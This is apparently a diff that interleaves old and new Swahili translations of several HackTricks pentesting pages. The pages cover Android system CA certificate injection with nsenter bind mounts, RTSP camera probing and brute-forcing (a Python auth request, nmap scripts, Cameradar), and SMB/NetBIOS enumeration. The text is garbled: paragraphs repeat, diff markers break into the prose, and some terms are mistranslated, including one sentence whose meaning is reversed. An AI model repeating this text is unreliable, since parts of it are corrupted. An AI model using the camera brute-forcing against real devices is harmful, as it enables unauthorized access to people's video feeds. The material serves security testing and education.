Uanzishaji wa Android unajumuisha mchakato wa `init`, ambao, baada ya kuanza mfumo wa uendeshaji, pia huanzisha mchakato wa Zygote. Mchakato huu unahusika na kuzindua michakato ya programu na uwanja mpya wa mlima ambao una pamoja na mlima wa kibinafsi wa **`/apex`**, hivyo kufanya mabadiliko kwenye folda hii kuwa tofauti na michakato mingine.
Walakini, njia mbadala ipo kwa wale wanaohitaji kubadilisha vyeti vya CA vilivyotegemewa na mfumo ndani ya saraka ya **`/apex`**. Hii inahusisha kubadilisha mlima wa **`/apex`** kwa kuondoa usambazaji wa KIBINAFSI, hivyo kuifanya iwe ya kuandika. Mchakato huu ni pamoja na kunakili yaliyomo kwenye saraka ya **`/apex/com.android.conscrypt`** kwenda eneo lingine, kufuta saraka ya **`/apex/com.android.conscrypt`** ili kuondoa kizuizi cha kusoma tu, na kisha kurejesha yaliyomo kwenye eneo lao la asili ndani ya **`/apex`**. Njia hii inahitaji hatua za haraka ili kuepuka kushindwa kwa mfumo. Ili kuhakikisha mabadiliko haya yanatumika kwa mfumo mzima, inashauriwa kuanzisha tena `system_server`, ambayo inazindua upya programu zote na kuleta mfumo katika hali thabiti.
Walakini, njia mbadala ipo kwa wale wanaohitaji kurekebisha vyeti vya CA vilivyothibitishwa na mfumo ndani ya **`/apex`**. Hii inahusisha kurekebisha tena **`/apex`** kwa kuondoa usambazaji wa KIBINA, hivyo kuifanya iweze kuandikwa. Mchakato huu unajumuisha kunakili maudhui ya **`/apex/com.android.conscrypt`** kwenda eneo lingine, kufuta mlima wa **`/apex/com.android.conscrypt`** ili kuondoa kizuizi cha kusoma tu, na kisha kurudisha maudhui kwenye eneo lao la asili ndani ya **`/apex`**. Hatua hii inahitaji hatua za haraka ili kuepuka kuharibika kwa mfumo. Ili kuhakikisha matumizi ya mabadiliko haya kote kwenye mfumo, inashauriwa kuanzisha upya `system_server`, ambayo kimsingi inaanzisha upya programu zote na kuweka mfumo katika hali thabiti.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -136,37 +136,23 @@ echo "System certificate injected"
```
### Kufunga kupitia NSEnter
1. **Kuanzisha Folda Inayoweza Kuandikwa**: Kwanza, folda inayoweza kuandikwa inawekwa kwa kufunga `tmpfs` juu ya folda ya cheti ya mfumo isiyo ya APEX iliyopo. Hii inafanikiwa kwa kutumia amri ifuatayo:
1. **Kuanzisha Daktari wa Kuandika**: Kwanza, daktari wa kuandika unawekwa kwa kufunga `tmpfs` juu ya daktari wa vyeti wa mfumo wa sasa usio wa APEX. Hii inafanikiwa kwa amri ifuatayo:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Kujiandaa na Vyeti vya CA**: Baada ya kuandaa saraka inayoweza kuandikwa, vyeti vya CA ambavyo unakusudia kutumia vinapaswa kunakiliwa katika saraka hii. Hii inaweza kuhusisha kunakili vyeti vya msingi kutoka `/apex/com.android.conscrypt/cacerts/`. Ni muhimu kurekebisha ruhusa na lebo za SELinux za vyeti hivi kulingana na hali inayofaa.
3. **Bind Mounting kwa Zygote**: Kwa kutumia `nsenter`, unajiingiza katika nafasi ya uunganishaji wa Zygote. Zygote, ikiwa ni mchakato unaohusika na kuzindua programu za Android, inahitaji hatua hii ili kuhakikisha kuwa programu zote zinazoanzishwa baadaye zinatumia vyeti vya CA vilivyowekwa hivi karibuni. Amri inayotumiwa ni:
2. **Kujiandaa na Vyeti vya CA**: Baada ya kuweka saraka inayoweza kuandikwa, vyeti vya CA ambavyo mtu anapanga kutumia vinapaswa kunakiliwa kwenye saraka hii. Hii inaweza kuhusisha kunakili vyeti vya msingi kutoka `/apex/com.android.conscrypt/cacerts/`. Ni muhimu kurekebisha ruhusa na lebo za SELinux za vyeti hivi kulingana na hali.
3. **Bind Mounting kwa Zygote**: Kwa kutumia `nsenter`, mtu anaingia kwenye nafasi ya mlima ya Zygote. Zygote, ikiwa ni mchakato unaohusika na kuzindua programu za Android, inahitaji hatua hii ili kuhakikisha kuwa programu zote zinazoanzishwa baadaye zinatumia vyeti vya CA vilivyoconfigure upya. Amri inayotumiwa ni:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Hii inahakikisha kuwa kila programu mpya iliyozinduliwa itazingatia usanidi wa vyeti vya CA ulioboreshwa.
Hii inahakikisha kuwa kila programu mpya iliyozinduliwa itazingatia usanidi wa vyeti vya CA uliyo boreshwa.
4. **Kuomba Mabadiliko kwa Programu Zinazoendelea**: Ili kuomba mabadiliko kwa programu zinazoendelea, `nsenter` inatumika tena kuingia kwenye kila nafasi ya programu kwa kujitegemea na kufanya bind mount sawa. Amri inayohitajika ni:
4. **Kutekeleza Mabadiliko kwa Programu Zinazoendeshwa**: Ili kutumia mabadiliko kwa programu zinazoendeshwa tayari, `nsenter` inatumika tena kuingia kwenye kila anga ya programu kwa kujitegemea na kufanya bind mount kama hiyo. Amri inayohitajika ni:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Njia Mbadala - Kuanzisha Upya Kwa Njia ya Programu**: Njia mbadala inahusisha kufanya bind mount kwenye mchakato wa `init` (PID 1) kisha kuanzisha upya laini wa mfumo wa uendeshaji kwa kutumia amri za `stop && start`. Njia hii itasambaza mabadiliko kwenye vifungu vyote, ikiepuka haja ya kushughulikia kila programu inayotumika kwa kujitegemea. Hata hivyo, njia hii kwa ujumla haipendelewi kutokana na usumbufu wa kuanzisha upya.
5. **Njia Mbadala - Kuanzisha Upya Kwa Programu**: Mbinu mbadala inahusisha kufanya bind mount kwenye mchakato wa `init` (PID 1) ikifuatiwa na kuanzisha upya laini wa mfumo wa uendeshaji kwa kutumia amri za `stop && start`. Mbinu hii itasambaza mabadiliko katika maeneo yote, ikiepuka haja ya kushughulikia kila programu inayotumika kwa kujitegemea. Hata hivyo, mbinu hii kwa ujumla hupendelewa kidogo kutokana na usumbufu wa kuanzisha upya.
## Marejeo
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,16 +1,16 @@
# 554,8554 - Pentesting RTSP
# 554,8554 - Kupima Usalama wa RTSP
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -18,32 +18,32 @@ Njia nyingine za kusaidia HackTricks:
Kutoka [wikipedia](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol):
> **Itifaki ya Utoaji wa Muda Halisi** (**RTSP**) ni itifaki ya kudhibiti mtandao iliyoundwa kwa matumizi katika mifumo ya burudani na mawasiliano ili kudhibiti seva za media za utiririshaji. Itifaki hutumiwa kuanzisha na kudhibiti vikao vya media kati ya hatua za mwisho. Wateja wa seva za media hutuma amri kama vile kucheza, kurekodi na kusitisha, kusaidia udhibiti wa wakati halisi wa utiririshaji wa media kutoka kwa seva kwenda kwa mteja (Video On Demand) au kutoka kwa mteja kwenda kwa seva (Kurekodi Sauti).
> **Itifaki ya Uchezaji wa Moja kwa Moja** (**RTSP**) ni itifaki ya kudhibiti mtandao iliyoundwa kwa matumizi katika mifumo ya burudani na mawasiliano kudhibiti seva za media za uchezaji. Itifaki hutumiwa kuanzisha na kudhibiti vikao vya media kati ya mwisho. Wateja wa seva za media hutolea amri za mtindo wa VHS, kama vile kucheza, kurekodi na kusitisha, kurahisisha kudhibiti halisi wa uchezaji wa media kutoka kwa seva kwenda kwa mteja (Video On Demand) au kutoka kwa mteja kwenda kwa seva (Kurekodi Sauti).
>
> Uhamishaji wa data ya utiririshaji yenyewe sio jukumu la RTSP. Seva nyingi za RTSP hutumia Itifaki ya Uhamishaji wa Muda Halisi (RTP) pamoja na Itifaki ya Kudhibiti ya Muda Halisi (RTCP) kwa utoaji wa mtiririko wa media. Walakini, baadhi ya wauzaji hutumia itifaki za uhamishaji za kipekee. Kwa mfano, programu ya seva ya RTSP kutoka RealNetworks pia ilikuwa inatumia Usafirishaji wa Takwimu wa Halisi wa RealNetworks (RDT) ya kipekee.
> Uhamishaji wa data ya uchezaji wenyewe sio jukumu la RTSP. Seva nyingi za RTSP hutumia Itifaki ya Usafirishaji wa Moja kwa Moja (RTP) pamoja na Itifaki ya Kudhibiti ya Moja kwa Moja (RTCP) kwa utoaji wa mtiririko wa media. Walakini, baadhi ya wauzaji hutekeleza itifaki za usafirishaji za kipekee. Programu ya seva ya RTSP kutoka RealNetworks, kwa mfano, pia ilikuwa inatumia Usafirishaji wa Data wa Kipekee wa RealNetworks (RDT).
**Bandari za chaguo-msingi:** 554,8554
**Bandari za Ubadilishaji:** 554, 8554
```
PORT STATE SERVICE
554/tcp open rtsp
```
## Maelezo Muhimu
**RTSP** ni sawa na HTTP lakini imeundwa mahsusi kwa ajili ya utiririshaji wa media. Inaelezwa katika maelezo rahisi ambayo yanaweza kupatikana hapa:
**RTSP** ni sawa na HTTP lakini imeundwa mahsusi kwa ajili ya utiririshaji wa media. Imeelezwa katika maelezo rahisi yanayopatikana hapa:
[RTSP - RFC2326](https://tools.ietf.org/html/rfc2326)
[RTSP RFC2326](https://tools.ietf.org/html/rfc2326)
Vifaa vinaweza kuruhusu ufikiaji **bila kuthibitishwa** au **kuthibitishwa**. Ili kuchunguza hili, ombi la "DESCRIBE" linatumwa. Mfano wa msingi unaonyeshwa hapa chini:
Vifaa vinaweza kuruhusu ufikiaji **bila uthibitisho** au **uliothibitishwa**. Ili kuchunguza hili, ombi la "DESCRIBE" hutumwa. Mfano wa msingi umewekwa hapa chini:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\n`
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r`
Kumbuka, muundo sahihi unajumuisha mara mbili "\r\n" kwa jibu thabiti. Jibu la "200 OK" linaashiria ufikiaji **bila kuthibitishwa**, wakati "401 Unauthorized" inaashiria hitaji la kuthibitishwa, ikifichua ikiwa inahitajika **uthibitishaji wa Msingi** au **uthibitishaji wa Digest**.
Kumbuka, muundo sahihi unajumuisha "\r\n" mara mbili kwa jibu la kawaida. Jibu la "200 OK" linaashiria ufikiaji **bila uthibitisho**, wakati "401 Unauthorized" inaashiria hitaji la uthibitisho, ikifichua ikiwa unahitaji **uthibitisho wa Msingi** au **uthibitisho wa Digest**.
Kwa **uthibitishaji wa Msingi**, unakodisha jina la mtumiaji na nenosiri kwa base64 na kuongeza katika ombi kama ifuatavyo:
Kwa **uthibitisho wa Msingi**, unakodisha jina la mtumiaji na nywila kwa base64 na kuliweka katika ombi kama ifuatavyo:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n`
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r`
Mfano huu unatumia "admin" na "1234" kama sifa. Hapa kuna **skrini ya Python** ya kutuma ombi kama hilo:
Mfano huu unatumia "admin" na "1234" kama sifa. Hapa kuna **skripti ya Python** ya kutuma ombi kama hilo:
```python
import socket
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@ -53,48 +53,48 @@ s.sendall(req)
data = s.recv(1024)
print(data)
```
**Uthibitishaji wa msingi** ni rahisi na unapendelewa. **Uthibitishaji wa kumeng'enya** unahitaji kushughulikia kwa uangalifu maelezo ya uthibitishaji yaliyotolewa katika jibu la "401 Unauthorized".
**Uthibitisho wa msingi** ni rahisi na unapendelewa. **Uthibitisho wa kuchimba** unahitaji kushughulikia kwa uangalifu maelezo ya uthibitisho yaliyotolewa katika jibu la "401 Unauthorized".
Muhtasari huu unafanya mchakato wa kupata mito ya RTSP kuwa rahisi, ukilenga **uthibitishaji wa msingi** kwa sababu ya urahisi wake na umuhimu wake katika jaribio la kwanza.
Hii muhtasari unafanya iwe rahisi kufikia mitiririko ya RTSP, ikilenga **uthibitisho wa msingi** kwa urahisi wake na matumizi katika jaribio la kwanza.
## Urambazaji
## Uchunguzi
Tupate habari kuhusu njia na URL halali zinazoungwa mkono na jaribu kuvunja ufikiaji (ikiwa inahitajika) ili kupata ufikiaji wa yaliyomo.
Tupate habari kuhusu njia halali na URL zinazoungwa mkono na jaribu kufanya upenyezi wa ufikiaji (ikiwa inahitajika) ili kupata ufikiaji wa yaliyomo.
```bash
nmap -sV --script "rtsp-*" -p <PORT> <IP>
```
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#rtsp)
### [Kuvunja Kwa Nguvu](../generic-methodologies-and-resources/brute-force.md#rtsp)
### **Programu nyingine muhimu**
### **Programu Nyingine Zenye Manufaa**
Kwa kufanya nguvu ya brute: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder)
Kwa kuvunja kwa nguvu: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder)
[**Cameradar**](https://github.com/Ullaakut/cameradar)
* Tafuta watumiaji wazi wa RTSP kwenye lengo lolote linalopatikana
* Pata habari zao za umma (jina la mwenyeji, bandari, mfano wa kamera, nk)
* Anzisha mashambulizi ya orodha ya maneno kiotomatiki ili kupata njia yao ya mkondo (kwa mfano /live.sdp)
* Anzisha mashambulizi ya orodha ya maneno kiotomatiki ili kupata jina la mtumiaji na nenosiri la kamera
* Unda picha ndogo kutoka kwao ili kuhakiki ikiwa mkondo ni sahihi na kuwa na muhtasari wa haraka wa maudhui yao
* Jaribu kuunda mstari wa Gstreamer ili kuhakiki ikiwa wamekodishwa vizuri
* Chapisha muhtasari wa habari zote ambazo Cameradar inaweza kupata
* Kugundua seva za RTSP zilizofunguliwa kwenye lengo lolote linalopatikana
* Pata habari zao za umma (jina la mwenyeji, bandari, mfano wa kamera, n.k.)
* Anzisha mashambulizi ya maneno ya siri kiotomatiki kupata njia yao ya mtiririko (kwa mfano /live.sdp)
* Anzisha mashambulizi ya maneno ya siri kiotomatiki kupata jina la mtumiaji na nywila za kamera
* Unda picha za kidole kutoka kwao ili kuhakikisha kuwa mtiririko ni sahihi na kupata muhtasari wa haraka wa maudhui yao
* Jaribu kuunda mstari wa Gstreamer kuangalia kama wamekodishwa kwa usahihi
* Chapisha muhtasari wa habari zote ambazo Cameradar ingeweza kupata
## Marejeo
* [https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol)
* [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
* [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -6,71 +6,70 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## **Bandari 139**
**_Network Basic Input Output System_ (NetBIOS)** ni itifaki ya programu iliyoundwa kuruhusu programu, PC, na Desktops ndani ya mtandao wa eneo la karibu (LAN) kuingiliana na vifaa vya mtandao na **kurahisisha uhamishaji wa data kwenye mtandao**. Kitambulisho na mahali pa programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS hufikiwa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili huanzishwa wakati programu moja (inayofanya kazi kama mteja) inatoa amri ya "kuita" programu nyingine (inayofanya kazi kama seva) kwa kutumia **Bandari ya TCP 139**.
_**Mfumo wa Msingi wa Kuingiza na Kutoa Mtandao**_** (NetBIOS)** ni itifaki ya programu iliyoundwa kuruhusu programu, PC, na Desktops ndani ya mtandao wa eneo la karibu (LAN) kuingiliana na vifaa vya mtandao na **kurahisisha uhamishaji wa data kote kwenye mtandao**. Kutambua na mahali pa programu zinazoendesha kwenye mtandao wa NetBIOS hufikiwa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa wahusika 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili huanzishwa wakati programu moja (ikiwa kama mteja) inatoa amri ya "kuita" programu nyingine (ikiwa kama seva) kutumia **Bandari ya TCP 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Bandari 445
Kiteknolojia, Bandari 139 inajulikana kama 'NBT juu ya IP', wakati Bandari 445 inatambuliwa kama 'SMB juu ya IP'. Kifupisho **SMB** kina maana ya '**Server Message Blocks**', ambayo pia inajulikana kwa sasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao wa safu ya maombi, SMB/CIFS hutumiwa kwa kiasi kikubwa kuwezesha ufikiaji wa pamoja wa faili, printa, bandari za serial, na kurahisisha aina mbalimbali za mawasiliano kati ya vifaa kwenye mtandao.
Kiteknolojia, Bandari 139 inajulikana kama 'NBT juu ya IP', wakati Bandari 445 inatambulika kama 'SMB juu ya IP'. Kifupisho **SMB** kumaanisha '**Server Message Blocks**', ambacho pia hujulikana kama **Common Internet File System (CIFS)**. Kama protokali ya mtandao wa safu ya maombi, SMB/CIFS hutumiwa hasa kuwezesha ufikiaji wa pamoja wa faili, printa, bandari za serial, na kurahisisha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao.
Kwa mfano, katika muktadha wa Windows, inasisitizwa kuwa SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa haja ya NetBIOS juu ya TCP/IP, kupitia matumizi ya bandari 445. Kwa upande mwingine, kwenye mifumo tofauti, matumizi ya bandari 139 yanazingatiwa, ikionyesha kuwa SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP.
Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa ulazima wa NetBIOS juu ya TCP/IP, kupitia matumizi ya bandari 445. Kinyume chake, kwenye mifumo tofauti, matumizi ya bandari 139 yanazingatiwa, ikionyesha kuwa SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Itifaki ya **Server Message Block (SMB)**, ikifanya kazi katika mfano wa **mteja-seva**, imeundwa kwa ajili ya kudhibiti **upatikanaji wa faili**, saraka, na rasilimali nyingine za mtandao kama vile wachapishaji na router. Kwa kawaida hutumiwa katika mfumo wa uendeshaji wa **Windows**, SMB inahakikisha utangamano wa nyuma, kuruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuwasiliana kwa urahisi na vile vilivyokuwa na toleo la zamani. Kwa kuongezea, mradi wa **Samba** hutoa suluhisho la programu huria, kuruhusu utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kuwezesha mawasiliano kati ya majukwaa mbalimbali kupitia SMB.
**Itifaki ya Server Message Block (SMB)**, ikifanya kazi katika mfano wa **mteja-seva**, imeundwa kwa ajili ya kudhibiti **upatikanaji wa faili**, saraka, na rasilimali nyingine za mtandao kama vile wachapishaji na rutuba. Kutumika kuu ndani ya mfululizo wa mifumo ya uendeshaji wa **Windows**, SMB inahakikisha utangamano wa nyuma, kuruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kufanya kazi kwa urahisi na vile vilivyo na toleo la zamani. Aidha, mradi wa **Samba** hutoa suluhisho huru la programu, kuruhusu utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano ya msalaba-jukwaa kupitia SMB.
Sehemu, zinazowakilisha **sehemu za hiari za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, ikifanya muundo uonekane kwa mteja kwa sehemu **isiyo tegemezi** na muundo halisi wa seva. **Orodha za Kudhibiti Upatikanaji (ACLs)**, zinazofafanua **haki za upatikanaji**, huruhusu udhibiti wa kina wa ruhusa za mtumiaji, ikiwa ni pamoja na sifa kama vile **`utekelezaji`**, **`kusoma`**, na **`upatikanaji kamili`**. Ruhusa hizi zinaweza kupewa watumiaji binafsi au vikundi, kulingana na sehemu, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
Hisani, zinazowakilisha **sehemu za kiholela za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, ikifanya hiyo muundo uonekane kwa mteja kwa sehemu **isiyo tegemezi** kabisa kwa muundo halisi wa seva. **Orodha za Kudhibiti Upatikanaji (ACLs)**, ambazo hufafanua **haki za upatikanaji**, huruhusu **udhibiti wa kina** juu ya ruhusa za mtumiaji, ikiwa ni pamoja na sifa kama **`utekelezaji`**, **`soma`**, na **`upatikanaji kamili`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisani, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
### Sehemu ya IPC$
### Hisani ya IPC$
Upatikanaji wa sehemu ya IPC$ unaweza kupatikana kupitia kikao cha null cha kutotambulika, kuruhusu mwingiliano na huduma zilizofichuliwa kupitia mabomba yenye majina. Zana ya `enum4linux` ni muhimu kwa kusudi hili. Ikitumiwa ipasavyo, inawezesha kupata:
Upatikanaji wa hisani ya IPC$ unaweza kupatikana kupitia kikao tupu la kutokuwa na jina, kuruhusu mwingiliano na huduma zilizofunuliwa kupitia mabomba yaliyopewa majina. Zana ya `enum4linux` ni muhimu kwa lengo hili. Ikitumiwa ipasavyo, inawezesha kupata:
- Taarifa kuhusu mfumo wa uendeshaji
- Maelezo kuhusu kikoa cha mzazi
- Orodha ya watumiaji na vikundi vya ndani
- Taarifa kuhusu sehemu za SMB zilizopo
- Sera ya usalama ya mfumo inayotumika
* Taarifa kuhusu mfumo wa uendeshaji
* Maelezo kuhusu kikoa cha mzazi
* Orodha ya watumiaji na vikundi vya ndani
* Taarifa kuhusu hisani za SMB zilizopo
* Sera ya usalama ya mfumo inayofanya kazi
